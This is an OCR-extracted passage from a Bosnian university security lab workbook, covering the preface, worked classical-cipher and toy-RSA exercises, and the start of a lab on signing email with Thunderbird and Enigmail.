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Predgovor

Ova knjiga nastala je iz skupa laboratorijskih vjezbi na predmetu ”Tehnolo-
gije sigurnosti” koji predajem na drugoj godini master studija na Odsjeku za
racunarstvo i informatiku, Elektrotehnickog fakulteta, Univerziteta u Sarajevu.
Knjiga je pisana tako da moze posluziti kao praktikum za vjezbe za ovaj predmet.
Kao takva, knjiga se bavi prakti¢nim i, u vrijeme pisanja, savremenim alatima za
ocuvanje, ali i ugrozavanje sigurnosti racunarskih sistema. Kao i veé¢ina akadem-
skih autora iz ove oblasti, smatram da trebate nekoga nauciti kako se napada
da bi ga bolje mogli nauciti kako se odbraniti. Knjiga se oslanja na teoretska
objasnjenja iz udzbenika za ovaj predmet [32]. Pored namjene obrazovanja mo-
jih studenata vjerujem da knjiga moze posluziti i drugima za upoznavanje sa
prakticnim aspektima sigurnosti racunarskih sistema.

Primarni cilj ove knjige je pokazati opste ideje i pristupe na kojima se zasni-
vaju napadi na sigurnost informacija, kao i odbrane od takvih napada. Razumi-
jevanje ovih ideja i pristupa daje osnovu za borbu protiv ugrozavanja sigurnosti
racunarskih sistema u uslovima gdje se stalno pojavljuju novi propusti i novi
napadi zasnovani na njima. Velika veé¢ina novih propusta i napada su samo novi
pojavni oblici veé principijelno poznatih propusta i napada.

Sekundarni cilj je pokazati prakticne izvedbe napada i odbrana od njih, aktu-
elne u vrijeme pisanja. One sluze kao primjer kako se predstavljene ideje i pristupi
primjenjuju u konkretnim sluc¢ajevima. Prakti¢na izvedba napada, takode, poka-
zuje kako napadi nisu samo teoretske prirode veé¢ da su stvarno izvodivi i imaju
posljedice. To moze posluziti da se studentima, ali i onim koji odlucuju o ula-
ganju u sigurnost, ukaze na stvarnu potrebu provedbe mjera zastite sigurnosti
racunarskih sistema. Prikazani alati i napadi ¢e neizbjezno zastariti, ali ¢ine ma-
terijal trenutno aktuelnijim i zanimljivijim za one ¢itaoce koji se operativno bave
ovom oblaséu.



VIII  Predgovor

Kako je knjiga namijenjena da bude literatura za posljednju godinu studija
na Odsjeku za ra¢unarstvo i informatiku, o¢ekuje se da njeni ¢itaoci imaju dobro
poznavanje rac¢unarstva i informatike. To znaci da je za lakSe razumijevanje knjige
potrebno znati nacin rada operativnih sistema i koristenja hardvera. Potrebno je
takode poznavati programiranje i rad kompajlera. Neophodno je i znati kako rade
raCunarske mreze i razumjeti najcesée koristene protokole.

Knjiga se sastoji se od 14 poglavlja. Svako poglavlje je jedna prakti¢na
vjezba izvodiva u rac¢unarskoj ucionici. Poglavlja tematski prate udzbenik [32].
Na pocetku poglavlja su date detaljne upute o stvaranju okruzenja potrebnog za
provodenje vjezbe. Svako poglavlje predstavlja cjelinu za sebe i moze se zasebno
c¢itati. Poglavlja se djelimi¢no oslanjaju i pozivaju jedno na drugo. Za proSirivanje
znanja dobro moze posluziti koristena literatura navedena na kraju knjige. U
sklopu svakog poglavlja su referencirane knjige koje dobro pokrivaju i prosiruju
znanja iz oblasti poglavlja. Pored knjiga referencirane su i web lokacije na kojima
se mogu naéi savremeni podaci.

Zelio bih se zahvaliti recenzentima knjige profesorima Samiru Ribiéu i Sabini
Barakovié¢ za korisne savjete koji su ucinili da kona¢na verzija ove knjige bude
bolja od one koju su oni prvobitno dobili. Zahvaljujem se mojoj drugarici Aidi
Sadzak sto je pomogla da naslovnica ne bude totalno inzenjerska. Zahvaljujem
se kolegama sa fakulteta koji su prosli proces izdavanja knjige §to su podjeli
svoja iskustva i dali mi korisne operativne savjete koji su omogudili da knjiga
bude uradena onako kako procedure zahtjevaju. Roditeljima hvala §to su uvijek
podrzavali da izaberem zivotni put koji zelim i koji me doveo i do ove knjige. I
naravno najveéa zahvala ide mojoj djeci Alenu i Lani, za radosti koje mi pruzaju i
kojim me stimulisu, i mojoj Mimici, najboljem izboru koji sam napravio u zivotu.

Sarajevo, decembar 2018. Sasa Mrdovié
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VJEZBA: Uvod u kriptografiju

Ova vjezba ima za cilj upoznavanje studenata sa osnovnim algoritmima Sifriranja
i desifriranja. Studenti treba da steknu osje¢aj za proces Sifriranja i promjene
koje razli¢iti algoritmi naprave na izvornom tekstu. Kroz Sifriranje i deSifriranje
bez upotrebe rac¢unara studenti imaju uvid u operacije koje se provode i napor
potreban za njihovo izvrSsavanje. Ovo je bitno radi poznavanja kompleksnosti
razli¢itih osnovnih nacina Sifriranja i desifriranja, te zahtjeva na resurse, vrijeme,
procesorsku mo¢ i memoriju, koji su im potrebni. Za teoretsko objasnjenje ovih
operacija vidjeti knjigu [32] koja je uskladena sa ovim vjezbama.

Poseban zadatak je desifriranje izvornog teksta Ssifriranog Vigenere-ovim
Sifratorom bez poznavanja kljuca. Tokom ovog zadatka studenti se upoznaju sa
osnovama, kriptoanalize. Pokazuje se kako je i Sifrator koji se nekada smatrao
nedsifrabilnim (bez poznavanja klju¢a) moguée ”pobijediti”. Za ovaj zadatak se
koriste web lokacije koje pomazu u rjesavanju, ali i omoguéavaju uvid u sve korake
desifriranja, kao i uc¢esée korisnika u ovom procesu.

1.1 Sifriranje i desifriranje sa i bez znanja kljuca

1. Sifrirati Cezarovim sifratorom slijedeéi tekst “OV0 NIJE TESKQO” (zanemariti
razmake).

Rjesenje: Cezarovo Sifriranje — rotiranje za tri unaprijed u skupu znakova.
Ovdje nasa abeceda, pa imamo:

0O—S

V- A

0O—S

N—P
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I—-L
J—LJ
E—H
T > 7
E—H
S>>V
K—M
O—S

Sifrirani tekst: ”SASPLLJHZHVMS”

Napomena: Obratiti paznju da se u Sifriranom tekstu nalazi dvozna¢no slovo
LJ. Ovo moze predstavljati problem pri desifriranju jer je potrebno razlikovati
slovo LJ od uzastopnih slova L i J. Zeli se ukazati na jedno od bitnijih pitanja
kriptografije, a to je prakti¢na izvedba algoritma. Algoritam moze biti dobar,
ali protokol koji ga koristi ili njegova realizacija mogu imati nedostatke.

. Desifrirati slijede¢i tekst “EHVLILTCRHLJHNCMS” Sifriran Cezarovim Sifratorom

(u desifrovani tekst ubaciti razmake na odgovarajuéa mjesta).

Rjesenje: Cezarovo desifriranje — rotiranje za tri unazad u skupu znakova.
Ovdje nasa abeceda, pa imamo:
E—D

H—-E

V=S

L—-1I

I—-F

L—-1I

T—R

C—A

R — NJ

H—-E

LI —1J

H—E

N—-L

C—A

M- K

S—O0

Desifrirani izvorni tekst: , DESIFRIRANJE JE LAKO“
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Napomena: Sli¢no kao i gore, dvoznacno slovo LJ nalazi se u Sifriranom tek-
stu. To je neophodno znati prije desifriranja.

. Sifrirati transpozicijskim ifratorom slijedeéi tekst “PRILICNO JE LAGANO”
(zanemariti razmake), ako je kljué (pomak) 4.

Rjesenje: Transpozicija — premjeStanje znakova poruke po nekom pravilu.
Ovdje jednostavno prepisivanje u redove duzine 4 i ¢itanje po kolonama.
PRIL

ICNO

JELA

GANO

Sifrirani tekst , PIJGRCEAINLNLOAO*

. Desifrirati slijede¢i tekst “ZIJNAEIVOSAVTSO0A” Sifriran transpozicijskim Sifratorom,
ako je klju¢ (pomak) 5 (u desifrovani tekst ubaciti razmake na odgovarajuéa
mjesta).

Rjesenje: Desifriranje transpozicije, prepisivanje po kolonama kojih treba biti
onoliko koliki je klju¢ (ovdje 5), pri ¢emu je broj redova, nakon kog pocinje
nova kolona, jednak rezultatu dijeljenja ukupnog broja znakova Sifriranog
teksta (15) sa brojem kolona, duzinom kljuca (5), sto je 3.

ZAVAS

JEOVO

NISTA

Desifrirani izvorni tekst ,ZA VAS JE OVO NISTA ¢

. Sifrirati Vigenere-ovim Sifratorom slijede¢i tekst “NESTO TEZE” (zanemariti
razmake), ako je kljué rije¢c “KLJUC”.

Rjesenje: Sifriranje Vigenere-ovim sifratorom je slicno Cezarovom, s tim §to
se prvi simbol originalne poruke rotira prema udaljenosti prvog slova kljuca
od pocetka skupa simbola (ovdje nasa abeceda), drugi simbol prema udalje-
nosti drugog slova kljuc¢a od pocetka, i tako dok se ne potrosi kljué¢, a onda
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se pocinje opet sa prvim slovom kljuca.
Znaci:

N se rotira za udaljenost K od A §to je 15 i postaje C
E se rotira za udaljenost LJ od A §to je 17 i postaje S
S se rotira za udaljenost U od A §to je 27 i postaje O
T se rotira za udaljenost C od A §to je 5 i postaje Z

kljuc je potrosen i slijedece slovo se pomjera prema prvom slovu kljuca, na-
redno prema drugom i tako do kraja poruke

O se rotira za udaljenost K od A §to je 15 i postaje ¢
T se rotira za udaljenost LJ od A §to je 17 i postaje H
E se rotira za udaljenost U od A s§to je 27 i postaje ¢
7 se rotira za udaljenost C od A §to je 5 i postaje C
E se rotira za udaljenost K od A §to je 15 i postaje R

Sifrirani tekst ,,CSOZCHCCR“

. Desifrirati slijedeéi tekst “BZBCAGMZ” Sifriran Vigenere-ovim §ifratorom, ako

je kljuc rije¢ “JOK”.

Rjesenje: Desifriranje Vigenere-ovim Sifratorom je obratan postupak od sifriranja.

Prvi simbol Sifrirane poruke rotira unazad prema udaljenosti prvog slova
kljuc¢a od pocetka skupa simbola (ovdje nasa abeceda), drugi simbol prema
udaljenosti drugog slova kljuca od pocetka, i tako dok se ne potrosi klju¢, a
onda se pocinje opet sa prvim slovom kljuca.

Znaci:
B se rotira unazad za udaljenost J od A §to je 14 i postaje N
7Z se rotira unazad za udaljenost O od A Sto je 21 i postaje E

B se rotira unazad za udaljenost K od A §to je 15 i postaje M

kljuc je potrosen i slijedece slovo se pomjera prema prvom slovu kljuca, na-
redno prema drugom i tako do kraja poruke

C se rotira unazad za udaljenost J od A &to je 14 i postaje O
A se rotira unazad za udaljenost O od A §to je 21 i postaje G
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G se rotira unazad za udaljenost K od A §to je 15 i postaje U
M se rotira unazad za udaljenost J od A §to je 14 i postaje C
7 se rotira unazad za udaljenost O od A $to je 21 i postaje E

Desifrirani izvorni tekst ,NEMOGUCE*

. Desifrirati slijedeéi tekst Sifriran Vigenere-ovim Sifratorom (klju¢ je nepoz-
nat):

MVWZXMQVYZLWSWYNICZQYDLCWERSGYVWSLNCMXZOGYEWCDLGCFMYODYGS
CIQYRQIWROQQOGSBMRIACFMCGGPITRYKPKTFIEQKWSZTMBXGXKRYSJFMC
GIBSRRRMQMSLDIVDXFOVCKHCBRCOHQYRJIEZBMCPSTOVTSIUYJRRIKKNM
BTMSRRCSDMVWZXMQVYZLWBIJOZYXXRYXFKXSCIRRMQMLYZXCBTPYZGNIQ
CYARELYZCBZGOAABCNDSEBENRMAZVMDSAYPQZVMFMBOEAYVLOVQDSLOJM
BWCMYPOGMWQSXMAKXGYRRRIQOTPYXMMSJCEPOFSSPRYRGNIYCTPOWCXXC
NMLDLGCGFKTROVYXHYBIBSWAEWQOHYDPCXKRRPYDIPYR

NAPOMENA: Originalni tekst je na engleskom jeziku. Potrebno je koristiti
engleski alfabet i statisticke karakteristike engleskog. Dozvoljeno je koriStenje
svih alata ukljuc¢ujuéi i Web.

Rjesenje: Desifriranje teksta sifriranog Vigenere-ovim Sifratorom bez pozna-
vanja kljuca smatralo se dugo vremena nemogué¢im. Ovaj Sifrator dobio je
nadimak ”nedesifrabilni”.

Nacin na koji je ipak moguce to uraditi dobar je primjer kako se moze raditi
kriptoanaliza, ta na Sta treba obratiti paznju prilikom dizajniranja Sifratora.

Prvi korak je trazenje grupa znakova koji se ponavljaju. Ponavljanje grupa
znakova je najceS¢e uzrokovano Sifriranjem iste grupe znakova istim klju¢em,
ili nekim njegovim dijelom. Posto ovo trazenje moze biti naporno za covjeka
korisno je potraziti pomo¢ rac¢unara. Ovdje je koriStena web lokacija ”The
Black Chamber” koju odrzava Simon Singh autor knjige " The Code Book” o
istoriji kriptografije [50]. Na ovoj lokaciji mogu se naéi razli¢ita objasnjenja i
alati vezani za Sifratore i deSifriranje. Za ovu konkretnu namjenu koristen je
alat za deSifriranje Vigenere Sifriranog teksta koji se nalazi na adresi:

http://www.simonsingh.net /The_Black_Chamber/vigenere_cracking_tool.html

Nakon unosenja teksta koji treba desifrirati u odgovarajuée polje pokrece se
proces trazenja grupa znakova koje se ponavljaju.
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Alat je pronasao 51 grupu znakova koji se ponavljaju. Za svaku grupu naveo
je nakon koliko znakova se ponavlja. Minimalna veli¢ina grupe je tri znaka.
Maksimalna veli¢ina koju koristi ovaj alat je pet znakova. (Vrijedi napomenuti
da za konkretan Sifrirani tekst postoje i duze grupe znakova koje se ponav-
ljaju. Od ovih grupa najduza je MVWZXMQVYZLW koja se ponavlja nakon
180 znakova.). Razmaci izmedu ponavljanja kreéu se od 9 do 300. U ovom
koraku potrebno je pretpostaviti duzinu kljuca kao najveéi zajednicki djelilac
vec¢ine razmaka izmedu ponavljanja. Posto svako ponavljanje ne mora biti
posljedica sifriranja iste grupe znakova istim dijelom kljuca onda se i najveéi
zajednicki djelilac ne trazi za sve razmake. Alat nudi tabelu sa svim djeli-
ocima i informacijom o tome za koje razmake su djelioci. Potrebno je izabrati
odgovarajué¢i. Uvidom u razmake moze se zakljuciti da je broj tri djelilac za
sve razmake osim dva (19 i 29, koji su prosti brojevi). Iz ovog razloga iza-
bran je broj 3, za pretpostavljenu duzinu kljuca, klikom na ”03” u zaglavlju
odgovarajuce kolone.

Slijede¢i korak je pronalazenje tri znaka od kojih se klju¢ sastoji. Za ovo
se koristi analiza ucestalosti ponavljanja znakova na pojedinim mjestima u
Sifriranom tekstu. Ako je klju¢ duzine tri svaka treéi znak ée biti Sifriran
na isti na¢in (pomjeren u skupu znakova za isti broj). Za prvi znak kljuca
vrsi se analiza znakova 14, 7, ..., 3*n+1, ... Na osnovu ove analize, klikom
na dugme ”L1” na dnu stranice, dobije se frekventna raspodjela znakova na
ovim mjestima kao na slici 1.1.

! |

Uz ovu raspodjelu ponudena je i standardna frekventna raspodjela znakova
za tekstove na engleskom jeziku. Ta raspodjela prikazana je na slici 1.2.

- 1
W X

- — =
T O ¥V

_III II_I_I-Ill n I
A B C D E F G H I J K L M N 0 P Q R §

Slika 1.1: Frekventna raspodjela za prvi znak

Alat nudi moguénost pomjeranja dobivene frekvencije raspodjele znakova u
lijevo ili desno dok se ne dobije najblize poklapanje sa raspodjelom za engleski
jezik. Najbolje poklapanje dobiveno je za polozaj na slici 1.3.
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Slika 1.2: Frekventna raspodjela znakova za tekstove na engleskom
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Slika 1.3: Poklapanje raspodjela za prvi znak kljuca

_II - - - -
P Q B 5 T U V J

L |

Iz ovog poklapanje se ocitava da bi prvi znak kljuca trebao biti "K”, koji je
prvi znak na donjoj raspodjeli.

Ovaj alat nudi moguénost vizualne uporedbe svih znakova, Sto olaksava
utvrdivanje pravog znaka kljuc¢a. Bez vizualne uporedbe obi¢no se pretpos-
tavi da je znak koji je najceséi u Sifriranom tekstu posljedica Sifriranja znaka
koji je najceséi u jeziku izvornog teksta. Ovdje je najceséi znak u Sifriranom
tekstu 7Q”, pa se pretpostavlja da je izvorni znak "E”, koji je najceséi u
engleskom jeziku. Iz ovog preslikavanja se utvrdi udaljenost (broj znakova)
izmedu "E” 1707, §to je 9. Na to se doda 2 za dva znaka i dobije se 11. Zatim
se 11. slovo engleske abecede utvrdi kao prvo slovo kljuca.

Ova procedura ponovi se za drugi i treéi znak kljuca. Pronadena poklapanja
raspodjela data su na slikama 1.4 1 1.5.

Iz ovih poklapanja sa oc¢itava da bi drugi i treéi znak kljuca trebali biti "E”
i ” Y77 .

Prema dosadasnjoj analizi klju¢ bi trebao biti niz znakova "KEY”. Upotre-
bom ovog kljuca za desifriranje trebao bi se dobiti smisaon tekst. Rezultat
koji se dobije je:
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Slika 1.5: Poklapanje raspodjela za treéi znak kljuca
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CRYPTOGRAPHYISADEEPMATHEMATICALSUBJECTBECAUSETHISBOOKFOCUS
ESONSYSTEMSECURITYWEVIEWCRYPTOGRAPHYASASUPPORTINGTOOLVIEWE
DINTHISCONTEXTTHEREADERNEEDSONLYABRIEFOVERVIEWOFTHEMAJORPO
INTSOFCRYPTOGRAPHYRELEVANTTOTHATUSETHISCHAPTERPROVIDESSUCH
ANOVERVIEWCRYPTOGRAPHICPROTOCOLSPROVIDEACORNERSTONEFORSECU
RECOMMUNICATIONTHESEPROTOCOLSAREBUILTONIDEASPRESENTEDINTHI
SCHAPTERANDAREDISCUSSEDATLENGTHLATERON

Kada se lijepo prepisSe, sa ubacivanjem razmaka i tacaka, te malim i veli-
kim slovima, dobije se pocetni tekst osmog poglavlja knjige “Introduction to
Computer Security” Matt Bishop-a [5].:

”Cryptography is a deep mathematical subject. Because this book focuses on
system security, we view cryptography as a supporting tool. Viewed in this
context, the reader needs only a brief overview of the major points of crypto-
graphy relevant to that use. This chapter provides such an overview. Cryp-
tographic protocols provide a cornerstone for secure communication. These
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protocols are built on ideas presented in this chapter and are discussed at
length later on.”

. Sifrirati RSA algoritmom slijedeéi tekst “poruka”, ako je javni kljuc (3,33).

Rjesenje: Uvodimo kodiranje:
a—0
b—1
c— 2
c—3
¢—4
d—5
dz — 6
d—-7
e — 8
f—9
g— 10
h — 11
i— 12
j— 13
k — 14
1 — 15
lj — 16
m — 17
n — 18
nj — 19
o — 20
p— 21
r— 22
s — 23
§— 24
t— 25
u— 26
v — 27
7z — 28
7z — 29

Po ovom kodiranju tekst “poruka” se zapisuje sa slijedeéim brojevima: 721
20 22 26 14 0”.

Sifriranje se ostvaruje izvrsavanjem odgovarajuée racunske operacije nad sim-
bolima izvornog teksta zapisanim u obliku brojeva. Ta racunska operacija je:
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(brojno kodirani znak izvorne poruke)i®n Klitcmod(zajednicki dio kljuca) =
brojno kodirani znak sifrirane poruke

212 mod 33 =21 = p

203 mod 33 =14 — k

223 mod 33 =22 — 7

262 mod 33 =20 — o

143 mod 33 =5 — d

0% mod 33 =0 — a

Sifrirani tekst je ”pkroda”.

9. Desifrirati slijedeéi tekst “dripljk” Sifriran RSA algoritmom ako je privatni
kljue (7,33).

Rjesenje: Ako se koristi isto kodiranje kao i u prethodnom zadatku Sifrirani
tekst “dripljk” se zapisuje sa slijede¢im brojevima: 75 22 12 21 16 14”.

Desgifriranje se ostvaruje izvrSsavanjem odgovarajuée racunske operacije nad
simbolima izvornog teksta zapisanim u obliku brojeva. Ta racunska operacija
je:

(brojno kodirani znak sifirane poruke)P"vetnt kivem od(zajednicki dio kljuca) =
brojno kodirani znak izvorne poruke

5" mod 33 =14 — k

227 mod 33 =22 — r

127 mod 33 =12 — i

217 mod 33 =21 = p

167 mod 33 = 25 — t

147 mod 33 = 20 — 0

Desifrirani izvorni tekst je "kripto”.
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VJEZBA: Upotreba kriptografije

Ova vjezba ima za cilj upoznavanje studenata sa nekim od prakti¢nih upotreba
kriptografije za zastitu povjerljivosti i integriteta poruka i/ili podataka, kao i sa
osiguravanjem autenti¢nosti posiljaoca (integriteta izvora). Kroz vjezbu se pre-
zentiraju alati za realizaciju ovih funkcija aktuelni u vrijeme pisanja. Ovi alati
omogucavaju digitalno potpisivanje i sifriranje poruka e-poste, te Sifriranje poda-
taka na trajnim medijima. Za teoretsko objasnjenje ovih operacija vidjeti knjigu
[32] koja je uskladena sa ovim vjezbama.

2.1 Potpisivanje i Sifriranje poruka e-poste upotrebom
klijenta za e-postu

Upotrebom programa Mozilla Thunderbird i njegovog dodataka Enigmail po-
trebno je poslati jednu potpisanu i jednu $ifriranu poruku.’

Rjesenje: Potrebno je imati instaliran i konfigurisan Mozilla Thunderbird na
racunarima. Instalacija i konfiguracija ovog klijenta za e-postu ne spada u oblast
sigurnosti racunarskih sistema, pa ovdje nije posebno objasnjena. Datoteku za
instalaciju Thunderbird moguce je preuzeti sa lokacije:
https://www.mozilla.org/en-US/thunderbird/all.html

Upute za instalaciju na Windows [31] i Linux [30] nalaze se na Mozilla web lokaciji.

! Mozilla Thunderbird i Enigmail su open source programi koji postoje u verzijama
za Windows i Linux, tako da studenti sami mogu izabrati pod kojim operativnim
sistemom ¢e realizovati ovaj zadatak
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Instalacija dodatka Enigmail za Thunderbird je prilicno jednostavna. Putem iz-
bora menija ”Tools” i stavke ” Add-ons” dolazi se do ekrana za upravljanje doda-
cima. Unosom pojma ”Enigmail” u polje za pretragu, kao prvi rezultat se dobije
potrebni dodatak. Izgled ekrana nakon pretrage prikazan je na slici 2.1.

% Ubusiia LIOA [runing] - Oracle VM Virtuatios i - Ly b il

Machine Veew Devicss  Help

<&k Add-ons Manager

K

* ~ | Erigmail [+}

Mame Last Updated | Iy Best match

— s Search: © My Add-ons @ Available Add-ons
g \, Search ¥ n
- Get Add o Enigmail 1.7.2 usjozjaons
I = LT
a eL ons OpenPGP message encryptionand authentication for Than, Mpre Irskall
1 ) [
=k Extensions X-notifier (For Gmail,Hotmail Yahoo,A... 3.4.9 "0/1s:m4 |
i E 3 - Rotifier for gmail, yvahoo, hotmail, acl and more webmails... More Ireskall |
X ' " Appearance o
k.3 & Mail Merge 3.9.0 10/03/2014
Plugins Mass Mail ard Personal Mail More Irstall
F ] | Mail Redirect 0.8.5 10/21/2014
!z Languages E<) ) s
F Allow bo redirect (8.k.a. "bownce”) mail messages to ather ... More Inskall
' i} L. Ll - AE IR NG A o

@ oD O] [Elret Contra

Slika 2.1: Dodavanje Enigmail u Thunderbird

Nakon preuzimanja dodatka Enigmail potrebno je ponovo pokrenuti Thunder-
bird, o ¢emu Thunderbird i daje obavjestenje. Nakon ponovnog pokretanja Thun-
derbird u meniju se pojavljuje stavka Enigmail. Izborom ove stavke i njene pod-
stavke ”Setup Wizard” pokrece se konfiguracija Enigmail kroz savjete. Moguce je
izabrati i ru¢no podesavanje, ali u prvom trenutku to nije neophodno. Dodatna
podesavanje se mogu uraditi i kasnije.

Tokom ove konfiguracije uz svako pitanje koje se postavi data su i neka teoretska
objasnjenja. Pitanja koja su ovdje navedena odnose se na verziju 1.7.2 koja je
aktuelna u vrijeme pisanja. Neka od pitanja i ponudenih opcija se razlikuju od
verzije do verzije, ali su principijelno sli¢na.

Prvo pitanje koje se postavlja je vezano za izbor poruka koje ¢e biti Sifrirane.
Posto je za Sifriranje poruke potrebno imati klju¢ koji je vezan za primaoca,
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moguce je da nema kljuceva za sve potencijalne primaoce. Enigmail nudi da sam
Sifrira poruke za primaoce za koje ima klju¢, da pokuSa za sve ili da ne Sifrira
poruke dok mu se to eksplicitno ne kaze. Radi kasnijeg obja$njenja izbora pri-
malaca kojima ¢e se poruka Sifrirati izabrana je posljednja opcija ”Don’t encrypt
my messages by default”.

Drugo pitanje vezano je za dodatna podesavanja ra¢una e-poSte u Thunderbird
da bi se osiguralo da Enigmail dobro radi. Glavno podesavanje odnosi se na
pripremu i slanje poruka koje su obi¢ni tekst, a ne HTML kako je danas pos-
talo uobic¢ajeno. Ostali detalji promjena podesavanja mogu se vidjeti klikom na
dugme ”Details...”. Izbrana je opcija da se automatski urade potrebna dodatna
podesavanja.

Na slijede¢em ekranu koji se pojavi je kratko objasnjenje da je javni klju¢ po-
trebno dostaviti onima koji zela da provjere validnost vaseg digitalnog potpisa
i koji zele da vam 8alju sifrirane poruke. U objasnjenju se kaze i da je privatni
klju¢ tajan i da ga samo vi trebate znati? jer osigurava da samo vi mozete pot-
pisati poruke koje Saljete i desifrirati poruke koje su Sifrirane poslane vama. Da
bi se zastitio pristup privatnom klju¢u potrebno je izabrati ” passphrase”, duzi
niz znakova, koji je potrebno unijeti svaki put kad se pristupa privatnom kljucu.
Passphrase nije nista drugo do lozinka. Medutim, njen naziv naglasava potrebu
da tu bude dugacak niz znakova, nekoliko rije¢i (smiju se koristiti razmaci), koji
je teze pogoditi alatima koji su obradeni na slijedec¢oj vjezbi. Privatni klju¢ pred-
stavlja tajnu informaciju koja se koristi za potvrdivanje digitalnog identiteta i
treba biti zasticen dugom i kvalitetnom lozinkom (passphrase). Sada je potrebno
izabrati takvu frazu i unijeti je dva puta, radi potvrde.

Nakon unoSenja passphrase pojavljuje se zavrsni ekran koji daje pregled iza-
branih opcija podeSavanja. Jedna opcija koja nije bila birana ve¢ je podeSena
automatski je duzina (4096 bita) i vrijeme validnosti (5 godina) kljuca. Ove vri-
jednosti su sasvim prihvatljive. Ako postoji potreba da budu drugacije potrebno
je izabrati ru¢na podeSavanja i napraviti kljuc sa zeljenim karakteristikama.

Po potvrdivanju prethodnih opcija pokrece se proces generisanja para kljuceva.
Posto bi generisani par trebao biti Sto slucajniji, preporucuje se upotreba drugih
aplikacija tokom ovog procesa. To bi trebalo doprinijeti nepredvidivosti generisa-
nog para.

Kada se zavrsi ovaj proces korisniku se nudi da napravi certifikat koji omogucéava

2 Taénije imati pristup njemu jer je to niz nula i jedinica koji je vjerovatno ljudima
nemoguce zapamtiti.
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opozivanje upravo generisanog para kljuceva u slucaju da do privatnog kljuca
dodu druge osobe ili da bude izgubljen. Izabrana je opcija da se generise ovaj cer-
tifikat. Generisani certifikat je potrebno sacuvati na mediji. Tom prilikom trazi
se unoSenje izabrane passphrase. Dobra ideja je napraviti i kopiju para kljuceva,
za svaki slucaj.

Ovim je zavr3ena konfiguracija Enigmail. U nastavku je objasnjeno na koji na¢in
se moze koristiti za digitalno potpisivanje i Sifriranje poruka e-poste.

Posto je prilikom konfiguracije Enigmail izabrano da se poruke ne potpisuju i
ne Sifriraju automatski, onda je prilikom slanja svake poruke potrebno izabrati
koju od kriptografskih operacija koje nudi Enigmail se Zeli obaviti. Izbor se vrsi
klikom na stavku Enigmail u prozoru u kom se pise nova poruka (moze se vrsiti
i sa glavnog menija).

Da bi se samo potpisala, a ne i sifrirala poruka e-poste potrebno je prilikom nje-
nog kreiranja izabrati opciju potpisivanja ” Force signing”. Ova poruka je upucena
na drugu adresu kojoj autor ima pristup. Izgled ekrana za izbor opcija prikazan
je na slici 2.2.

Da bi primalac poruke mogao provjeriti potpis neophodno je da ima javni
klju¢ posiljaoca. Postoje razli¢iti na¢ini da se dode do ovog klju¢a. Vrlo je bitno
znati da je to pravi javni klju¢ potpisnika. Za ovu namjenu se koriste digitalni
certifikati potpisani od strane nekog kome se vjeruje, ¢iji javni klju¢ je provjereno
dobar. U ovom slu¢aju prva potpisana poruka se Salje uz znanje i oc¢ekivanje pri-
maoca, pa ¢e javni klju¢ biti dodat kao prilog ovoj poruci. Posiljalac i primalac
¢e drugim putem provjeriti da je poruka zaista poslana. Na taj nacin ¢e primalac
imati povjerenje u javni kljuc¢ posiljaoca. U opstem slu¢aju to nije dobra praksa.
Ako od nekoga dobijemo digitalno potpisanu poruku uz koju je prilozen javni
klju¢ za provjeru potpisa to ne znaci da je to zaista osoba za koju se izdaje. To
samo znaci da je privatni klju¢ koristen za potpisivanje odgovarajuéi za prilozeni
javni klju¢. To ne znaéi da je to par kljuceva koji pripada navodnom posiljaocu
poruke.

Da bi se javni klju¢ poslao uz poruku potrebno je sa glavnog menija izabrati
stavku ”Enigmail— Attach My Public Key”. Izgled ekrana za izbor dostave jav-
nog klju¢a uz poruku prikazan je na slici 2.3.

Po pritisku na dugme ”Send” pojavljuje se upit za izbor nacina potpisivanja.
Posto poruka sadrzi prilog Enigmail nudi da se:

e potpiSe samo tekst poruke, ali ne i prilog
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Elsend | Z:speling - @ Attach - [ESIEMCIEEE @ Enigmail Encryption & Signing Sett

From: Sasa Mrdovic <sasa.mrdovic@etf, urfiipE eV Ia =t
Use Defaults and Rules for Encryption

Force Encryption
@ Force Not to Encrypt

. To: mrdovic@bih.net.ba
. Bee:  sasa.mrdovic@etfunsa.ba

= Bec:
Subject: Digitalno pokpisana poruka Slaakog o
Use Defaults and Rules for Signing
Pazdray meni od mens. @ Force Signing

Sada Force Mot to Sign
(1 digitalno patpisan)
PGP/MIME
® Use Defaults and Rules for PGP Format
Force PGP/MIME
Force Inline PGP
After application of defaults and rules:
Message will not be encrypted
Message will nok be signed
Inline PGP will be used

Cancel | 0K

Slika 2.2: Enigmail - izbor da se poruka potpise

e poruka i svaki prilog posebno potpisu
e cijela poruka sa prilozima potpise
e uopsSte niSta ne potpisuje

Izabrana je ponudena druga opcija. Izgled ekrana za izbor opcija prikazan je na
slici 2.4.

Prije konac¢nog slanja pojavi se upit za unoSenje izabrane passphrase jer
je potreban pristup privatnom klju¢u za potpisivanje poruke. U zavisnosti od
podesavanja klijenta moze se pojaviti i zahtjev za unosenje lozinke za SMTP ser-

ver.?

Na prijemnoj strani (Windows+Thunderbird+Enigmail) dobija se poruka
koju Thunderbird prepoznaje kao potpisanu. Potpis se ne moze potvrditi jer

3 To je preferirano sigurnosno podedenje koje zahtjeva da se lozinka unosi svaki put
kada se pristupa SMTP, ili bilo kom drugom serveru
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From: S5asaMrdovic <sasa.mrdovic@etf.unsa ba>
To: mrdovic@bih.net.ba

Bec: sasa.mrdovic@etfunsa.ba

Subject: Digitalno potpisana poruka

Pozdrax mend od mene.

Sasa
(1 dagitalno petpisan)

Slika 2.3: Enigmail - dostava javnog kljuca

Enigmail Prompt

This message contains attachments. How would you like encrypt/sign them?
() Sign the message text, but not the attachments

@|sign each attachment separately and send the message using inline PGP
) sign the message as a whole and send it using PGP/MIME

T Don't sign the message at all

NOTE: PGP/MIME is only supported by a limited number of mail clients! On
windows only Mozilla/Thunderbird, Sylpheed, Pegasus and Mulberry are
known to support this standard; on Linux/UNIX and Mac OS X most
popular mail clients support it. If you are unsure, select the second option.

71 Use the selected method For all future attachments

| Cancel _|[ OK ‘

Slika 2.4: Enigmail - izbor opcija Sifriranja i potpisivanja poruka
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primalac (Enigmail dodatak) nema javni kljué potpisnika. Poruka ima i dva pri-
loga, javni klju¢ posiljaoca i potpis tog priloga. Izgled ekrana prikaza poruke za

koju nema javnog kljuca prikazan je na slici 2.5.

'@ Digitalno potpizana poruka - Mozilla Thunderbird i i
File Edit View Go Message Enmigmail Tools Help
2 GetMail » # Wite BWChat & AddressBook  ® Tag™ L Decrypt

Enigmail Unverified signature; click on 'Details' button for more information

Subrect Digitalno potpisana poruka
|| To Me <mrdovic@bih.net.ba>

=====BEGIN PGP SIGHED MESSAGE=--=---
Hash: SHA1

